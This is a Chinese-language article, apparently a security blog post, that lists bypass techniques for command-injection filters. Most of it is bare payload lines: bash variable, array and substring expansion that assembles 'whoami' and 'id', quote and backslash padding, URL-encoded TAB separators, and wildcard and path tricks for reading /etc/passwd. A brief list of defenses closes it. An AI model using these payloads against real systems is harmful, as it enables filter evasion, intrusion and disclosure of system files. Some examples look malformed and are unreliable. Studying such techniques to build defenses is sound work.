命令执行绕过总结分享
字数 888 2025-08-22 12:22:48
命令执行绕过技术全面总结
一、基础概念
-
$符号解析机制:$""、$''、$()、`$id`包裹的内容会被bash解析- 嵌套使用时,
$会持续深入解析内容
-
示例:
$(ls) # 会先执行ls命令,然后解析其结果
二、绕过技术详解
1. ${!}间接扩展绕过
原理:利用bash的间接变量扩展功能
方法:
var1=i; name=var1; ${!name}d # 输出id
wh=wh; o=o; ami=am; ${!wh@}${!o@}${!ami@}
wh=wh; o=o; ami=am; ${!wh*}${!o*}${!ami*}
who=who; mi=mi; ${!who*}a${!mi*}
who=who; mi=mi; ${!who@}a${!mi@}
2. 数组参数绕过
方法:
names=("i" "d"); ${names[0]}${names[1]}
3. ${}特殊符号处理
原理:${}会优先解析已定义变量,忽略中间特殊符号
方法:
ff=whoa; ${ff?6666666666666666666}mi
ff=whoa; ${ff/6666666666666666666}mi
ff=whoa; ${ff-6666666666666666666}mi
a=whoa; ff=$a; ${ff?6666666666666666666}mi
4. 字符串截取绕过
方法:
string=who123esaxami; ${string:0:3}${string:10:12}
names=("who123esaxami" "d"); ${names[0]:0:3}${names[0]:10:12}
array[0]=who123esaxami; ${array[0]:0:3}${array[0]:10:12}
5. --绕过(set特殊用法)
原理:--表示后续参数不再被解释为选项
方法:
set -- 123who456ami; ${@:3:3}${@:9:3}
c=set -- w h o a m i; $1$2$3$4$5$6
6. 数组扩展绕过
方法:
array=(0 1 2 3 4 5 6 123 ami); who${array[@]:8}
array=(0 1 2 3 4 5 6 who ami); ${array[@]:7:1}${array[@]:8}
7. #与%格式匹配绕过
方法:
var="example.who"; var1="example.ami"; ${var#*.}${var1#*.}
var="example.123.666.who"; var1="example.ami"; ${var##*.}${var1#*.}
var2="who.666"; var3="ami.666"; ${var2%.*}${var3%.*}
8. 字符串匹配替换绕过
方法:
var="w123hoami"; ${var/123/}
var="w123oami"; ${var/123/h}
var1="w123ho123am123i"; ${var1//123/}
var1="123ami"; ${var1/#123/who}
var1="who123"; ${var1/%123/ami}
var1="who123"; rep=ami; ${var1/%123/$rep}
9. 转义字符绕过
方法:
c=w\h\oa\m\i
c=whoam''i
who""ami
10. 环境变量绕过
方法:
declare -x VARIABLE_NAME2="wh"; declare -x VARIABLE_NAME3="oami"; $VARIABLE_NAME2$VARIABLE_NAME3
11. bash特殊变量绕过
方法:
c=ami; who $_
12. 参数命令执行绕过
方法:
array=(ls 222 -al); ${array[*]}
13. %09(TAB)绕过
方法:
ls%09%09-al
cat%09%09%09%09%09%09%09%09111111%09/etc/passwd
cat%09%09%09%09%09%09%09%09111111%09/et?/pa??wd
curl%09http://127.0.0.1:8088121waqdasd%09http://127.0.0.1:8087
14. 路径绕过
方法:
/tmp/../bin/whoami
15. 填充字符绕过
成对填充字符:
- 0A 0A、0a 0a、09 09、2A 2A、2a 2a、20 20(空格)、22 22(")、27 27(')、5C 5C(\)
示例:
ls # 两边空格
"ls" # 两边双引号
'ls' # 两边单引号
\ls\ # 两边反斜杠
单边填充字符:
- 0A、0a、09、2A、2a、20(空格)、5C(\)
示例:
\ls\ # 两边反斜杠
16. 命令中间填充绕过
需要成对出现的字符:
- 22(")、27(')、60(`)、2a(*)
可单独出现的字符:
- 5c(\) - 可在字符串中无限添加
17. 组合命令绕过
ls -al绕过示例:
ls -%eH(url编码)al
ls -a%eH(url编码)l
ls -al%WC(url编码)
18. 文件路径绕过
cat /etc/passwd绕过方法:
- 通配符打乱路径:
cat /e?c/passwd
cat /e*c/passwd
- 多个参数绕过:
cat 1 /etc/passwd
- 其他方法:
cat 1 /etc//passwd
cat 1 /etc*/passwd
cat 1 /etc \/ passwd
cd /etc && cat passwd
cat ~/../../etc/snmp/../passwd
curl file:///etc/passwd
三、防御建议
- 严格过滤所有用户输入
- 使用白名单机制限制可执行命令
- 避免直接拼接用户输入到命令中
- 对特殊字符进行转义处理
- 使用最小权限原则运行应用程序
四、总结
本文详细介绍了多种命令执行绕过技术,包括变量扩展、字符串操作、特殊字符插入等多种方法。安全人员应充分了解这些技术以便更好地防御命令注入攻击。在实际应用中,应根据具体场景选择合适的安全防护措施。